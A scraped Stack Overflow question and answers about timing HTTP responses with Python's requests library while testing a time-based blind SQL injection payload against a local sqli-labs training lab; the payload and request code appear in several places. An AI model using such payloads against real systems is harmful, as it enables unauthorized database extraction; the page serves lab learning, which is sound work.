Measuring the HTTP response time with requests library in Python. Am I doing it right?












8














I am trying to induce an artificial delay in the HTTP response from a web application (This is a technique used to do blind SQL Injections). If the below HTTP request is sent from a browser, response from the web server comes back after 3 seconds(caused by sleep(3)):



http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+


I am trying to do the same in Python 2.7 using the requests library. The code I have is:



import requests

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = r.elapsed.total_seconds()
print roundtrip


I expected the roundtrip to be 3 seconds, but instead I get values 0.001371, 0.001616, 0.002228, etc. Am I not using the elapsed attribute properly?










share|improve this question



























    8














    I am trying to induce an artificial delay in the HTTP response from a web application (This is a technique used to do blind SQL Injections). If the below HTTP request is sent from a browser, response from the web server comes back after 3 seconds(caused by sleep(3)):



    http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+


    I am trying to do the same in Python 2.7 using the requests library. The code I have is:



    import requests

    payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
    r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
    roundtrip = r.elapsed.total_seconds()
    print roundtrip


    I expected the roundtrip to be 3 seconds, but instead I get values 0.001371, 0.001616, 0.002228, etc. Am I not using the elapsed attribute properly?










    share|improve this question

























      8












      8








      8


      2





      I am trying to induce an artificial delay in the HTTP response from a web application (This is a technique used to do blind SQL Injections). If the below HTTP request is sent from a browser, response from the web server comes back after 3 seconds(caused by sleep(3)):



      http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+


      I am trying to do the same in Python 2.7 using the requests library. The code I have is:



      import requests

      payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
      r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
      roundtrip = r.elapsed.total_seconds()
      print roundtrip


      I expected the roundtrip to be 3 seconds, but instead I get values 0.001371, 0.001616, 0.002228, etc. Am I not using the elapsed attribute properly?










      share|improve this question













      I am trying to induce an artificial delay in the HTTP response from a web application (This is a technique used to do blind SQL Injections). If the below HTTP request is sent from a browser, response from the web server comes back after 3 seconds(caused by sleep(3)):



      http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+


      I am trying to do the same in Python 2.7 using the requests library. The code I have is:



      import requests

      payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
      r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
      roundtrip = r.elapsed.total_seconds()
      print roundtrip


      I expected the roundtrip to be 3 seconds, but instead I get values 0.001371, 0.001616, 0.002228, etc. Am I not using the elapsed attribute properly?







      python-2.7 python-requests httpresponse roundtrip elapsed






      share|improve this question













      share|improve this question











      share|improve this question




      share|improve this question










      asked May 25 '15 at 16:53









      user1720897

      5111517




      5111517
























          2 Answers
          2






          active

          oldest

          votes


















          18














          elapsed measures the time between sending the request and finishing parsing the response headers, not until the full response has been transfered.



          If you want to measure that time, you need to measure it yourself:



          import requests
          import time

          payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
          start = time.time()
          r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
          roundtrip = time.time() - start
          print roundtrip





          share|improve this answer























          • Correct me if I'm wrong: requests.get is a blocking call, so having r.content is not really necessary to "wait until full content has been transferred"
            – dv3
            Mar 12 '17 at 21:51










          • @dv3, yes, you're right, unless you use stream=True (default is False) the content will be downloaded immediately, otherwise get() returns when when the headers have been received.
            – mata
            Mar 12 '17 at 23:07





















          0














          I figured out that my payload should have been



          payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) -- "}



          The last character '+' in the original payload is getting passed to the back end database, which results in an invalid SQL syntax. I shouldn't have done any manual encoding in the payload.






          share|improve this answer





















            Your Answer






            StackExchange.ifUsing("editor", function () {
            StackExchange.using("externalEditor", function () {
            StackExchange.using("snippets", function () {
            StackExchange.snippets.init();
            });
            });
            }, "code-snippets");

            StackExchange.ready(function() {
            var channelOptions = {
            tags: "".split(" "),
            id: "1"
            };
            initTagRenderer("".split(" "), "".split(" "), channelOptions);

            StackExchange.using("externalEditor", function() {
            // Have to fire editor after snippets, if snippets enabled
            if (StackExchange.settings.snippets.snippetsEnabled) {
            StackExchange.using("snippets", function() {
            createEditor();
            });
            }
            else {
            createEditor();
            }
            });

            function createEditor() {
            StackExchange.prepareEditor({
            heartbeatType: 'answer',
            autoActivateHeartbeat: false,
            convertImagesToLinks: true,
            noModals: true,
            showLowRepImageUploadWarning: true,
            reputationToPostImages: 10,
            bindNavPrevention: true,
            postfix: "",
            imageUploader: {
            brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
            contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
            allowUrls: true
            },
            onDemand: true,
            discardSelector: ".discard-answer"
            ,immediatelyShowMarkdownHelp:true
            });


            }
            });














            draft saved

            draft discarded


















            StackExchange.ready(
            function () {
            StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f30442757%2fmeasuring-the-http-response-time-with-requests-library-in-python-am-i-doing-it%23new-answer', 'question_page');
            }
            );

            Post as a guest















            Required, but never shown

























            2 Answers
            2






            active

            oldest

            votes








            2 Answers
            2






            active

            oldest

            votes









            active

            oldest

            votes






            active

            oldest

            votes









            18














            elapsed measures the time between sending the request and finishing parsing the response headers, not until the full response has been transfered.



            If you want to measure that time, you need to measure it yourself:



            import requests
            import time

            payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
            start = time.time()
            r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
            roundtrip = time.time() - start
            print roundtrip





            share|improve this answer























            • Correct me if I'm wrong: requests.get is a blocking call, so having r.content is not really necessary to "wait until full content has been transferred"
              – dv3
              Mar 12 '17 at 21:51










            • @dv3, yes, you're right, unless you use stream=True (default is False) the content will be downloaded immediately, otherwise get() returns when when the headers have been received.
              – mata
              Mar 12 '17 at 23:07


















            18














            elapsed measures the time between sending the request and finishing parsing the response headers, not until the full response has been transfered.



            If you want to measure that time, you need to measure it yourself:



            import requests
            import time

            payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
            start = time.time()
            r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
            roundtrip = time.time() - start
            print roundtrip





            share|improve this answer























            • Correct me if I'm wrong: requests.get is a blocking call, so having r.content is not really necessary to "wait until full content has been transferred"
              – dv3
              Mar 12 '17 at 21:51










            • @dv3, yes, you're right, unless you use stream=True (default is False) the content will be downloaded immediately, otherwise get() returns when when the headers have been received.
              – mata
              Mar 12 '17 at 23:07
















            18












            18








            18






            elapsed measures the time between sending the request and finishing parsing the response headers, not until the full response has been transfered.



            If you want to measure that time, you need to measure it yourself:



            import requests
            import time

            payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
            start = time.time()
            r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
            roundtrip = time.time() - start
            print roundtrip





            share|improve this answer














            elapsed measures the time between sending the request and finishing parsing the response headers, not until the full response has been transfered.



            If you want to measure that time, you need to measure it yourself:



            import requests
            import time

            payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
            start = time.time()
            r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
            roundtrip = time.time() - start
            print roundtrip






            share|improve this answer














            share|improve this answer



            share|improve this answer








            edited Mar 12 '17 at 23:07

























            answered May 25 '15 at 20:39









            mata

            48.3k7103124




            48.3k7103124












            • Correct me if I'm wrong: requests.get is a blocking call, so having r.content is not really necessary to "wait until full content has been transferred"
              – dv3
              Mar 12 '17 at 21:51










            • @dv3, yes, you're right, unless you use stream=True (default is False) the content will be downloaded immediately, otherwise get() returns when when the headers have been received.
              – mata
              Mar 12 '17 at 23:07




















            • Correct me if I'm wrong: requests.get is a blocking call, so having r.content is not really necessary to "wait until full content has been transferred"
              – dv3
              Mar 12 '17 at 21:51










            • @dv3, yes, you're right, unless you use stream=True (default is False) the content will be downloaded immediately, otherwise get() returns when when the headers have been received.
              – mata
              Mar 12 '17 at 23:07


















            Correct me if I'm wrong: requests.get is a blocking call, so having r.content is not really necessary to "wait until full content has been transferred"
            – dv3
            Mar 12 '17 at 21:51




            Correct me if I'm wrong: requests.get is a blocking call, so having r.content is not really necessary to "wait until full content has been transferred"
            – dv3
            Mar 12 '17 at 21:51












            @dv3, yes, you're right, unless you use stream=True (default is False) the content will be downloaded immediately, otherwise get() returns when when the headers have been received.
            – mata
            Mar 12 '17 at 23:07






            @dv3, yes, you're right, unless you use stream=True (default is False) the content will be downloaded immediately, otherwise get() returns when when the headers have been received.
            – mata
            Mar 12 '17 at 23:07















            0














            I figured out that my payload should have been



            payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) -- "}



            The last character '+' in the original payload is getting passed to the back end database, which results in an invalid SQL syntax. I shouldn't have done any manual encoding in the payload.






            share|improve this answer


























              0














              I figured out that my payload should have been



              payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) -- "}



              The last character '+' in the original payload is getting passed to the back end database, which results in an invalid SQL syntax. I shouldn't have done any manual encoding in the payload.






              share|improve this answer
























                0












                0








                0






                I figured out that my payload should have been



                payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) -- "}



                The last character '+' in the original payload is getting passed to the back end database, which results in an invalid SQL syntax. I shouldn't have done any manual encoding in the payload.






                share|improve this answer












                I figured out that my payload should have been



                payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) -- "}



                The last character '+' in the original payload is getting passed to the back end database, which results in an invalid SQL syntax. I shouldn't have done any manual encoding in the payload.







                share|improve this answer












                share|improve this answer



                share|improve this answer










                answered May 26 '15 at 6:40









                user1720897

                5111517




                5111517






























                    draft saved

                    draft discarded




















































                    Thanks for contributing an answer to Stack Overflow!


                    • Please be sure to answer the question. Provide details and share your research!

                    But avoid



                    • Asking for help, clarification, or responding to other answers.

                    • Making statements based on opinion; back them up with references or personal experience.


                    To learn more, see our tips on writing great answers.





                    Some of your past answers have not been well-received, and you're in danger of being blocked from answering.


                    Please pay close attention to the following guidance:


                    • Please be sure to answer the question. Provide details and share your research!

                    But avoid



                    • Asking for help, clarification, or responding to other answers.

                    • Making statements based on opinion; back them up with references or personal experience.


                    To learn more, see our tips on writing great answers.




                    draft saved


                    draft discarded














                    StackExchange.ready(
                    function () {
                    StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f30442757%2fmeasuring-the-http-response-time-with-requests-library-in-python-am-i-doing-it%23new-answer', 'question_page');
                    }
                    );

                    Post as a guest















                    Required, but never shown





















































                    Required, but never shown














                    Required, but never shown












                    Required, but never shown







                    Required, but never shown

































                    Required, but never shown














                    Required, but never shown












                    Required, but never shown







                    Required, but never shown







                    Popular posts from this blog

                    Xamarin.iOS Cant Deploy on Iphone

                    Glorious Revolution

                    Dulmage-Mendelsohn matrix decomposition in Python